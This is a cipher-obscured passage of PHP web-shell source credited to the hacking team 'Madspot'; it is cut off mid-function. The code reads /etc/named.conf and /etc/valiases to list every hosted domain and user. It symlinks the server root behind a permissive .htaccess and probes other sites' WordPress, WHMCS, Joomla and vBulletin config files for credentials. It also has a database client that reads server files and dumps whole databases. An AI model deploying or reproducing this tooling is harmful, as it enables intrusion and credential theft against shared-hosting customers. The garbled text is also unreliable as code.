5ch2 "<d4v cl1ss=h51d5r>";
5ch2 "<pr5>
|`-:_
,----....____ | `+.
( ````----....|___ |
\ _ ````----....____
\ _) C2d5d By: Ikr1m Al4 ```---.._
\ \
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh
-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `
M1dsp2t 4s 1 T51m 2f pr2f5ss42n1l Eth4c1l H1ck5rs Fr2m P1k4st1n.
W5 h1v5 Y51rs 2f Exp5r45nc5 4n S5c3r4ty, P5n5tr1t42n & C2d4ng
And c1n Br51k 1nd S5c3r5.
V5rs42n 6.0
C2nt1ct : http://www.m1dsp2t.n5t
4f y23 f23nd b3g c2nt1ct 23r t51m
.=''=.
/ _ _ \
| d b |
\ /\ /
,/'-=\/=-'\,
/ / \ \ -----------------------------
| / Z1h4d \ | M1dsp2t D4g4t1l S5c3r4ty T51m
\/ \ R1sh55d/ \/ -----------------------------
'. .'
_|`~~`|_
/|\ /|\
.- <O> -. .-====-. ,-------. .-=<>=-.
/_-\'''/-_\ / / '' \ \ |,-----.| /__----__\
|/ 2) (2 \| | | ')(' | | /,'-----'.\ |/ (')(') \|
\ ._. / \ \ / / {_/(') (')\_} \ __ /
,>-_,,,_-<. >'=jf='< `. _ .' ,'--__--'.
/ W1q1r.Kh1n \ / \ /'-___-'\ / :| \
(_) . (_) / Ikr1m \ / M-Usm1n \ (_) :| (_)
\_-----'____--/ (_) Al4 (_) (_)_______(_) |___:|____|
\___________/ |________| \_______/ | Afr1s41b|
</pr5></d4v>";
m1df22t5r();
}
f3nct42n m1dsyml4nk()
{
m1dh51d();
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$IIIIIIIIIII6=5xpl2d5('/',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_r5pl1c5($IIIIIIIIIII6[c23nt($IIIIIIIIIII6)-6],'',$IIIIIIIIIIIl );
5ch2 '<d4v cl1ss=h51d5r><scr4pt>p6_=pa_=po_="";</scr4pt><br><c5nt5r><ho><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,\'w5bs4t5\',n3ll)">| D2m14ns | </1><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,n3ll,\'wh2l5\')">| Wh2l5 S5rv5r Syml4nk | </1><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,n3ll,n3ll,\'c2nf4g\')">| C2nf4g PHP syml4nk | </1></ho></c5nt5r>';
4f(4ss5t($_POST['p6']) && $_POST['p6']=='w5bs4t5')
{
5ch2 "<c5nt5r>";
$d0m14ns = @f4l5("/5tc/n1m5d.c2nf");
4f(!$d0m14ns){ 5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>"; }
5ch2 "<t1bl5 1l4gn=c5nt5r cl1ss='m14n' b2rd5r=0 >
<tr bgc2l2r=R5d><td>C23nt</td><td>d2m14ns</td><td>3s5rs</td></tr>";
$c23nt=6;
f2r51ch($d0m14ns 1s $d0m14n){
4f(@5r5g4("z2n5",$d0m14n)){
pr5g_m1tch_1ll('#z2n5 "(.*)"#', $d0m14n, $d2m14ns);
fl3sh();
4f(strl5n(tr4m($d2m14ns[6][0])) > a){
$3s5r = p2s4x_g5tpw34d(@f4l52wn5r("/5tc/v1l41s5s/".$d2m14ns[6][0]));
5ch2 "<tr><td>".$c23nt."</td><td><1 hr5f=http://www.".$d2m14ns[6][0]."/>".$d2m14ns[6][0]."</1></td><td>".$3s5r['n1m5']."</td></tr>"; fl3sh();
$c23nt++;
}}}
5ch2 "</c5nt5r></t1bl5>";
}
4f(4ss5t($_POST['pa']) && $_POST['pa']=='wh2l5')
{
@s5t_t4m5_l4m4t(0);
5ch2 "<c5nt5r>";
@mkd4r('sym',0777);
$IIIIIIIIIIl6 = "Opt42ns 1ll \n D4r5ct2ryInd5x S3x.html \n AddTyp5 t5xt/pl14n .php \n AddH1ndl5r s5rv5r-p1rs5d .php \n AddTyp5 t5xt/pl14n .html \n AddH1ndl5r txt .html \n R5q34r5 N2n5 \n S1t4sfy Any";
$IIIIIIIIII6I =@f2p5n ('sym/.ht1cc5ss','w');
fwr4t5($IIIIIIIIII6I ,$IIIIIIIIIIl6);
@syml4nk('/','sym/r22t');
$IIIIIIIIIlIl = b1s5n1m5('_FILE_');
$IIIIIIIIIllI = @f4l5('/5tc/n1m5d.c2nf');
4f(!$IIIIIIIIIllI)
{
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'># C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>";
}
5ls5
{
5ch2 "<t1bl5 1l4gn='c5nt5r' w4dth='u0%' cl1ss='m14n'><td>D2m14ns</td><td>Us5rs</td><td>syml4nk </td>";
f2r51ch($IIIIIIIIIllI 1s $IIIIIIIIIll6){
4f(@5r5g4('z2n5',$IIIIIIIIIll6)){
pr5g_m1tch_1ll('#z2n5 "(.*)"#',$IIIIIIIIIll6,$IIIIIIIIIl66);
fl3sh();
4f(strl5n(tr4m($IIIIIIIIIl66[6][0])) >a){
$IIIIIIIII6I6 = p2s4x_g5tpw34d(@f4l52wn5r('/5tc/v1l41s5s/'.$IIIIIIIIIl66[6][0]));
$IIIIIIII6I6l = $IIIIIIIII6I6['n1m5'] ;
@syml4nk('/','sym/r22t');
$IIIIIIII6I6l = $IIIIIIIIIl66[6][0];
$IIIIIIII6I66 = '\.4r';
$IIIIIIII6lII = '\.4l';
4f (@5r5g4("$IIIIIIII6I66",$IIIIIIIIIl66[6][0]) 2r @5r5g4("$IIIIIIII6lII",$IIIIIIIIIl66[6][0]) )
{
$IIIIIIII6I6l = "<d4v styl5=' c2l2r: #FF0000 ; t5xt-sh1d2w: 0px 0px 6px r5d; '>".$IIIIIIIIIl66[6][0].'</d4v>';
}
5ch2 "
<tr>
<td>
<1 t1rg5t='_bl1nk' hr5f=http://www.".$IIIIIIIIIl66[6][0].'/>'.$IIIIIIII6I6l.' </1>
</td>
<td>
'.$IIIIIIIII6I6['n1m5']."
</td>
<td>
<1 hr5f='sym/r22t/h2m5/".$IIIIIIIII6I6['n1m5']."/p3bl4c_html' t1rg5t='_bl1nk'>syml4nk </1>
</td>
</tr>";
fl3sh();
}
}
}
}
5ch2 "</c5nt5r></t1bl5>";
}
4f(4ss5t($_POST['po']) && $_POST['po']=='c2nf4g')
{
5ch2 "<c5nt5r>";
@mkd4r('sym',0777);
$IIIIIIIIIIl6 = "Opt42ns 1ll \n D4r5ct2ryInd5x S3x.html \n AddTyp5 t5xt/pl14n .php \n AddH1ndl5r s5rv5r-p1rs5d .php \n AddTyp5 t5xt/pl14n .html \n AddH1ndl5r txt .html \n R5q34r5 N2n5 \n S1t4sfy Any";
$IIIIIIIIII6I =@f2p5n ('sym/.ht1cc5ss','w');
@fwr4t5($IIIIIIIIII6I ,$IIIIIIIIIIl6);
@syml4nk('/','sym/r22t');
$IIIIIIIIIlIl = b1s5n1m5('_FILE_');
$IIIIIIIIIllI = @f4l5('/5tc/n1m5d.c2nf');
4f(!$IIIIIIIIIllI)
{
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'># C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>";
}
5ls5
{
5ch2 "
<t1bl5 1l4gn='c5nt5r' w4dth='u0%' cl1ss='m14n' ><td> D2m14ns </td><td> Scr4pt </td>";
f2r51ch($IIIIIIIIIllI 1s $IIIIIIIIIll6){
4f(@5r5g4('z2n5',$IIIIIIIIIll6)){
pr5g_m1tch_1ll('#z2n5 "(.*)"#',$IIIIIIIIIll6,$IIIIIIIIIl66);
fl3sh();
4f(strl5n(tr4m($IIIIIIIIIl66[6][0])) >a){
$IIIIIIIII6I6 = p2s4x_g5tpw34d(@f4l52wn5r('/5tc/v1l41s5s/'.$IIIIIIIIIl66[6][0]));
$IIIIIIIII6l6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/wp-c2nf4g.php';
$IIIIIIIII66I=g5t_h51d5rs($IIIIIIIII6l6);
$IIIIIIIII66l=$IIIIIIIII66I[0];
$IIIIIIIII666=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/bl2g/wp-c2nf4g.php';
$IIIIIIIIlIII=g5t_h51d5rs($IIIIIIIII666);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/c2nf4g3r1t42n.php';
$IIIIIIIIlIlI=g5t_h51d5rs($IIIIIIIIlII6);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/j22ml1/c2nf4g3r1t42n.php';
$IIIIIIIIlI6I=g5t_h51d5rs($IIIIIIIIlIl6);
$IIIIIIIIlI6l=$IIIIIIIIlI6I[0];
$IIIIIIIIlI66=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/4ncl3d5s/c2nf4g.php';
$IIIIIIIIllII=g5t_h51d5rs($IIIIIIIIlI66);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/vb/4ncl3d5s/c2nf4g.php';
$IIIIIIIIlllI=g5t_h51d5rs($IIIIIIIIllI6);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/f2r3m/4ncl3d5s/c2nf4g.php';
$IIIIIIIIll6I=g5t_h51d5rs($IIIIIIIIlll6);
$IIIIIIIIll6l=$IIIIIIIIll6I[0];
$IIIIIIIIll66=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'p3bl4c_html/cl45nts/c2nf4g3r1t42n.php';
$IIIIIIIIl6II=g5t_h51d5rs($IIIIIIIIll66);
$IIIIIIIIl6Il=$IIIIIIIIl6II[0];
$IIIIIIIIl6I6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/s3pp2rt/c2nf4g3r1t42n.php';
$IIIIIIIIl6II=g5t_h51d5rs($IIIIIIIIl6I6);
$IIIIIIIIl6lI=$IIIIIIIIl6II[0];
$IIIIIIIIl6ll=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/cl45nt/c2nf4g3r1t42n.php';
$IIIIIIIIl6l6=g5t_h51d5rs($IIIIIIIIl6ll);
$IIIIIIIIl66I=$IIIIIIIIl6l6[0];
$IIIIIIIIl66l=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/s3bm4tt4ck5t.php';
$IIIIIIIIl666=g5t_h51d5rs($IIIIIIIIl66l);
$IIIIIIII6III=$IIIIIIIIl666[0];
$IIIIIIII6IIl=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/cl45nt/c2nf4g3r1t42n.php';
$IIIIIIII6II6=g5t_h51d5rs($IIIIIIII6IIl);
$IIIIIIII6IlI=$IIIIIIII6II6[0];
$IIIIIIII6Ill = strp2s($IIIIIIIII66l,'a00');
$IIIIIIII6I6I='&nbsp;';
4f (strp2s($IIIIIIIII66l,'a00') == tr35 )
{
$IIIIIIII6I6I="<1 hr5f='".$IIIIIIIII6l6."' t1rg5t='_bl1nk'>W2rdpr5ss</1>";
}
5ls54f (strp2s($IIIIIIIIlIIl,'a00') == tr35)
{
$IIIIIIII6I6I="<1 hr5f='".$IIIIIIIII666."' t1rg5t='_bl1nk'>W2rdpr5ss</1>";
}
5ls54f (strp2s($IIIIIIIIlIll,'a00') == tr35 1nd strp2s($IIIIIIII6III,'a00') == tr35 )
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIl66l."' t1rg5t='_bl1nk'>WHMCS</1>";
}
5ls54f (strp2s($IIIIIIIIl6lI,'a00') == tr35)
{
$IIIIIIII6I6I =" <1 hr5f='".$IIIIIIIIl6I6."' t1rg5t='_bl1nk'>WHMCS</1>";
}
5ls54f (strp2s($IIIIIIIIl66I,'a00') == tr35)
{
$IIIIIIII6I6I =" <1 hr5f='".$IIIIIIIIl6ll."' t1rg5t='_bl1nk'>WHMCS</1>";
}
5ls54f (strp2s($IIIIIIIIlIll,'a00') == tr35)
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlII6."' t1rg5t='_bl1nk'>J22ml1</1>";
}
5ls54f (strp2s($IIIIIIIIlI6l,'a00') == tr35)
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlIl6."' t1rg5t='_bl1nk'>J22ml1</1>";
}
5ls54f (strp2s($IIIIIIIIllIl,'a00') == tr35)
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlI66."' t1rg5t='_bl1nk'>vB3ll5t4n</1>";
}
5ls54f (strp2s($IIIIIIIIllll,'a00') == tr35)
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIllI6."' t1rg5t='_bl1nk'>vB3ll5t4n</1>";
}
5ls54f (strp2s($IIIIIIIIll6l,'a00') == tr35)
{
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlll6."' t1rg5t='_bl1nk'>vB3ll5t4n</1>";
}
5ls5
{
c2nt4n35;
}
$IIIIIIII6I6l = $IIIIIIIII6I6['n1m5'] ;
5ch2 '<tr><td><1 hr5f=http://www.'.$IIIIIIIIIl66[6][0].'/>'.$IIIIIIIIIl66[6][0].'</1></td>
<td>'.$IIIIIIII6I6I.'</td></tr>';fl3sh();
}
}
}
}
5ch2 "</c5nt5r></t1bl5>";
}
5ch2 "</d4v>";
m1df22t5r();
}
f3nct42n m1dsql()
{
cl1ss DbCl1ss {
v1r $typ5;
v1r $l4nk;
v1r $r5s;
f3nct42n DbCl1ss($typ5) {
$th4s->typ5 = $typ5;
}
f3nct42n c2nn5ct($h2st, $3s5r, $p1ss, $dbn1m5){
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f( $th4s->l4nk = @mysql_c2nn5ct($h2st,$3s5r,$p1ss,tr35) ) r5t3rn tr35;
br51k;
c1s5 'pgsql':
$h2st = 5xpl2d5(':', $h2st);
4f(!$h2st[6]) $h2st[6]=iuoa;
4f( $th4s->l4nk = @pg_c2nn5ct("h2st={$h2st[0]} p2rt={$h2st[6]} 3s5r=$3s5r p1ssw2rd=$p1ss dbn1m5=$dbn1m5") ) r5t3rn tr35;
br51k;
}
r5t3rn f1ls5;
}
f3nct42n s5l5ctdb($db) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f (@mysql_s5l5ct_db($db))r5t3rn tr35;
br51k;
}
r5t3rn f1ls5;
}
f3nct42n q35ry($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->r5s = @mysql_q35ry($str);
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = @pg_q35ry($th4s->l4nk,$str);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n f5tch() {
$r5s = f3nc_n3m_1rgs()?f3nc_g5t_1rg(0):$th4s->r5s;
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn @mysql_f5tch_1ss2c($r5s);
br51k;
c1s5 'pgsql':
r5t3rn @pg_f5tch_1ss2c($r5s);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l4stDbs() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->q35ry("SHOW d1t1b1s5s");
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = $th4s->q35ry("SELECT d1tn1m5 FROM pg_d1t1b1s5 WHERE d1t4st5mpl1t5!='t'");
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l4stT1bl5s() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->r5s = $th4s->q35ry('SHOW TABLES');
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = $th4s->q35ry("s5l5ct t1bl5_n1m5 fr2m 4nf2rm1t42n_sch5m1.t1bl5s wh5r5 t1bl5_sch5m1 != '4nf2rm1t42n_sch5m1' AND t1bl5_sch5m1 != 'pg_c1t1l2g'");
br51k;
}
r5t3rn f1ls5;
}
f3nct42n 5rr2r() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn @mysql_5rr2r();
br51k;
c1s5 'pgsql':
r5t3rn @pg_l1st_5rr2r();
br51k;
}
r5t3rn f1ls5;
}
f3nct42n s5tCh1rs5t($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f(f3nct42n_5x4sts('mysql_s5t_ch1rs5t'))
r5t3rn @mysql_s5t_ch1rs5t($str, $th4s->l4nk);
5ls5
$th4s->q35ry('SET CHARSET '.$str);
br51k;
c1s5 'pgsql':
r5t3rn @pg_s5t_cl45nt_5nc2d4ng($th4s->l4nk, $str);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l21dF4l5($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->f5tch($th4s->q35ry("SELECT LOAD_FILE('".1ddsl1sh5s($str)."') 1s f4l5"));
br51k;
c1s5 'pgsql':
$th4s->q35ry("CREATE TABLE ws2a(f4l5 t5xt);COPY ws2a FROM '".1ddsl1sh5s($str)."';s5l5ct f4l5 fr2m ws2a;");
$r=1rr1y();
wh4l5($4=$th4s->f5tch())
$r[] = $4['f4l5'];
$th4s->q35ry('dr2p t1bl5 ws2a');
r5t3rn 1rr1y('f4l5'=>4mpl2d5("\n",$r));
br51k;
}
r5t3rn f1ls5;
}
f3nct42n d3mp($t1bl5, $fp = f1ls5) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
$r5s = $th4s->q35ry('SHOW CREATE TABLE `'.$t1bl5.'`');
$cr51t5 = mysql_f5tch_1rr1y($r5s);
$sql = $cr51t5[6].";\n";
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
$th4s->q35ry('SELECT * FROM `'.$t1bl5.'`');
$h51d = tr35;
wh4l5($4t5m = $th4s->f5tch()) {
$c2l3mns = 1rr1y();
f2r51ch($4t5m 1s $k=>$v) {
4f($v == n3ll)
$4t5m[$k] = "NULL";
5ls54f(4s_n3m5r4c($v))
$4t5m[$k] = $v;
5ls5
$4t5m[$k] = "'".@mysql_r51l_5sc1p5_str4ng($v)."'";
$c2l3mns[] = "`".$k."`";
}
4f($h51d) {
$sql = 'INSERT INTO `'.$t1bl5.'` ('.4mpl2d5(", ", $c2l3mns).") VALUES \n\t(".4mpl2d5(", ", $4t5m).')';
$h51d = f1ls5;
} 5ls5
$sql = "\n\t,(".4mpl2d5(", ", $4t5m).')';
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
}
4f(!$h51d)
4f($fp) fwr4t5($fp, ";\n\n"); 5ls5 5ch2(";\n\n");
br51k;
c1s5 'pgsql':
$th4s->q35ry('SELECT * FROM '.$t1bl5);
wh4l5($4t5m = $th4s->f5tch()) {
$c2l3mns = 1rr1y();
f2r51ch($4t5m 1s $k=>$v) {
$4t5m[$k] = "'".1ddsl1sh5s($v)."'";
$c2l3mns[] = $k;
}
$sql = 'INSERT INTO '.$t1bl5.' ('.4mpl2d5(", ", $c2l3mns).') VALUES ('.4mpl2d5(", ", $4t5m).');'."\n";
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
}
br51k;
}
r5t3rn f1ls5;
}
};
$db = n5w DbCl1ss($_POST['typ5']);
4f(@$_POST['pa']=='d2wnl21d') {
$db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5']);
$db->s5l5ctdb($_POST['sql_b1s5']);
sw4tch($_POST['ch1rs5t']) {
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k;
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k;
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k;
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k;
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k;
}
4f(5mpty($_POST['f4l5'])) {
2b_st1rt("2b_gzh1ndl5r", u09e);
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=d3mp.sql");
h51d5r("C2nt5nt-Typ5: t5xt/pl14n");
f2r51ch($_POST['tbl'] 1s $v)
$db->d3mp($v);
5x4t;
} 5ls54f($fp = @f2p5n($_POST['f4l5'], 'w')) {
f2r51ch($_POST['tbl'] 1s $v)
$db->d3mp($v, $fp);
fcl2s5($fp);
3ns5t($_POST['pa']);
} 5ls5
d45('<scr4pt>1l5rt("Err2r! C1n\'t 2p5n f4l5");w4nd2w.h4st2ry.b1ck(-6)</scr4pt>');
}
m1dh51d();
5ch2 "
<d4v cl1ss=h51d5r>
<f2rm n1m5='sf' m5th2d='p2st' 2ns3bm4t='fs(th4s);'><t1bl5 c5llp1dd4ng='a' c5llsp1c4ng='0'><tr>
<td>Typ5</td><td>H2st</td><td>L2g4n</td><td>P1ssw2rd</td><td>D1t1b1s5</td><td></td></tr><tr>
<4np3t typ5=h4dd5n n1m5=1 v1l35=Sql><4np3t typ5=h4dd5n n1m5=p6 v1l35='q35ry'><4np3t typ5=h4dd5n n1m5=pa v1l35=''><4np3t typ5=h4dd5n n1m5=c v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') ."'>
<td><s5l5ct n1m5='typ5'><2pt42n v1l35='mysql' ";
4f(@$_POST['typ5']=='mysql')5ch2 's5l5ct5d';
5ch2 ">MySql</2pt42n><2pt42n v1l35='pgsql' ";
4f(@$_POST['typ5']=='pgsql')5ch2 's5l5ct5d';
5ch2 ">P2stgr5Sql</2pt42n></s5l5ct></td>
<td><4np3t typ5=t5xt n1m5=sql_h2st v1l35='". (5mpty($_POST['sql_h2st'])?'l2c1lh2st':htmlsp5c41lch1rs($_POST['sql_h2st'])) ."'></td>
<td><4np3t typ5=t5xt n1m5=sql_l2g4n v1l35='". (5mpty($_POST['sql_l2g4n'])?'r22t':htmlsp5c41lch1rs($_POST['sql_l2g4n'])) ."'></td>
<td><4np3t typ5=t5xt n1m5=sql_p1ss v1l35='". (5mpty($_POST['sql_p1ss'])?'':htmlsp5c41lch1rs($_POST['sql_p1ss'])) ."'></td><td>";
$tmp = "<4np3t typ5=t5xt n1m5=sql_b1s5 v1l35=''>";
4f(4ss5t($_POST['sql_h2st'])){
4f($db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5'])) {
sw4tch($_POST['ch1rs5t']) {
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k;
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k;
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k;
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k;
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k;
}
$db->l4stDbs();
5ch2 "<s5l5ct n1m5=sql_b1s5><2pt42n v1l35=''></2pt42n>";
wh4l5($4t5m = $db->f5tch()) {
l4st($k5y, $v1l35) = 51ch($4t5m);
5ch2 '<2pt42n v1l35="'.$v1l35.'" '.($v1l35==$_POST['sql_b1s5']?'s5l5ct5d':'').'>'.$v1l35.'</2pt42n>';
}
5ch2 '</s5l5ct>';
}
5ls5 5ch2 $tmp;
}5ls5
5ch2 $tmp;
5ch2 "</td>
<td><4np3t typ5=s3bm4t v1l35='>>' 2ncl4ck='fs(d.sf);'></td>
<td><4np3t typ5=ch5ckb2x n1m5=sql_c23nt v1l35='2n'" . (5mpty($_POST['sql_c23nt'])?'':' ch5ck5d') . "> c23nt th5 n3mb5r 2f r2ws</td>
</tr>
</t1bl5>
<scr4pt>
s_db='".@1ddsl1sh5s($_POST['sql_b1s5'])."';
f3nct42n fs(f) {
4f(f.sql_b1s5.v1l35!=s_db) { f.2ns3bm4t = f3nct42n() {};
4f(f.p6) f.p6.v1l35='';
4f(f.pa) f.pa.v1l35='';
4f(f.po) f.po.v1l35='';
}
}
f3nct42n st(t,l) {
d.sf.p6.v1l35 = 's5l5ct';
d.sf.pa.v1l35 = t;
4f(l && d.sf.po) d.sf.po.v1l35 = l;
d.sf.s3bm4t();
}
f3nct42n 4s() {
f2r(4=0;4<d.sf.5l5m5nts['tbl[]'].l5ngth;++4)
d.sf.5l5m5nts['tbl[]'][4].ch5ck5d = !d.sf.5l5m5nts['tbl[]'][4].ch5ck5d;
}
</scr4pt>";
4f(4ss5t($db) && $db->l4nk){
5ch2 "<br/><t1bl5 w4dth=600% c5llp1dd4ng=a c5llsp1c4ng=0>";
4f(!5mpty($_POST['sql_b1s5'])){
$db->s5l5ctdb($_POST['sql_b1s5']);
5ch2 "<tr><td w4dth=6 styl5='b2rd5r-t2p:apx s2l4d #eee;'><sp1n>T1bl5s:</sp1n><br><br>";
$tbls_r5s = $db->l4stT1bl5s();
wh4l5($4t5m = $db->f5tch($tbls_r5s)) {
l4st($k5y, $v1l35) = 51ch($4t5m);
4f(!5mpty($_POST['sql_c23nt']))
$n = $db->f5tch($db->q35ry('SELECT COUNT(*) 1s n FROM '.$v1l35.''));
$v1l35 = htmlsp5c41lch1rs($v1l35);
5ch2 "<n2br><4np3t typ5='ch5ckb2x' n1m5='tbl[]' v1l35='".$v1l35."'>&nbsp;<1 hr5f=# 2ncl4ck=\"st('".$v1l35."',6)\">".$v1l35."</1>" . (5mpty($_POST['sql_c23nt'])?'&nbsp;':" <sm1ll>({$n['n']})</sm1ll>") . "</n2br><br>";
}
5ch2 "<4np3t typ5='ch5ckb2x' 2ncl4ck='4s();'> <4np3t typ5=b3tt2n v1l35='D3mp' 2ncl4ck='d2c3m5nt.sf.pa.v1l35=\"d2wnl21d\";d2c3m5nt.sf.s3bm4t();'><br>F4l5 p1th:<4np3t typ5=t5xt n1m5=f4l5 v1l35='d3mp.sql'></td><td styl5='b2rd5r-t2p:apx s2l4d #eee;'>";
4f(@$_POST['p6'] == 's5l5ct') {
$_POST['p6'] = 'q35ry';
$_POST['po'] = $_POST['po']?$_POST['po']:6;
$db->q35ry('SELECT COUNT(*) 1s n FROM ' . $_POST['pa']);
$n3m = $db->f5tch();
$p1g5s = c54l($n3m['n'] / o0);
5ch2 "<scr4pt>d.sf.2ns3bm4t=f3nct42n(){st(\"" . $_POST['pa'] . "\", d.sf.po.v1l35)}</scr4pt><sp1n>".$_POST['pa']."</sp1n> ({$n3m['n']} r5c2rds) P1g5 # <4np3t typ5=t5xt n1m5='po' v1l35=" . ((4nt)$_POST['po']) . ">";
5ch2 " 2f $p1g5s";
4f($_POST['po'] > 6)
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']-6) . ")'>&lt; Pr5v</1>";
4f($_POST['po'] < $p1g5s)
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']+6) . ")'>N5xt &gt;</1>";
$_POST['po']--;
4f($_POST['typ5']=='pgsql')
$_POST['pa'] = 'SELECT * FROM '.$_POST['pa'].' LIMIT o0 OFFSET '.($_POST['po']*o0);
5ls5
$_POST['pa'] = 'SELECT * FROM `'.$_POST['pa'].'` LIMIT '.($_POST['po']*o0).',o0';
5ch2 "<br><br>";
}
4f((@$_POST['p6'] == 'q35ry') && !5mpty($_POST['pa'])) {
$db->q35ry(@$_POST['pa']);
4f($db->r5s !== f1ls5) {
$t4tl5 = f1ls5;
5ch2 '<t1bl5 w4dth=600% c5llsp1c4ng=6 c5llp1dd4ng=a cl1ss=m14n styl5="b1ckgr23nd-c2l2r:#a9a9a9">';
$l4n5 = 6;
wh4l5($4t5m = $db->f5tch()) {
4f(!$t4tl5) {
5ch2 '<tr>';
f2r51ch($4t5m 1s $k5y => $v1l35)
5ch2 '<th>'.$k5y.'</th>';
r5s5t($4t5m);
$t4tl5=tr35;
5ch2 '</tr><tr>';
$l4n5 = a;
}
5ch2 '<tr cl1ss="l'.$l4n5.'">';
$l4n5 = $l4n5==6?a:6;
f2r51ch($4t5m 1s $k5y => $v1l35) {
4f($v1l35 == n3ll)
5ch2 '<td><4>n3ll</4></td>';
5ls5
5ch2 '<td>'.nlabr(htmlsp5c41lch1rs($v1l35)).'</td>';
}
5ch2 '</tr>';
}
5ch2 '</t1bl5>';
} 5ls5 {
5ch2 '<d4v><b>Err2r:</b> '.htmlsp5c41lch1rs($db->5rr2r()).'</d4v>';
}
}
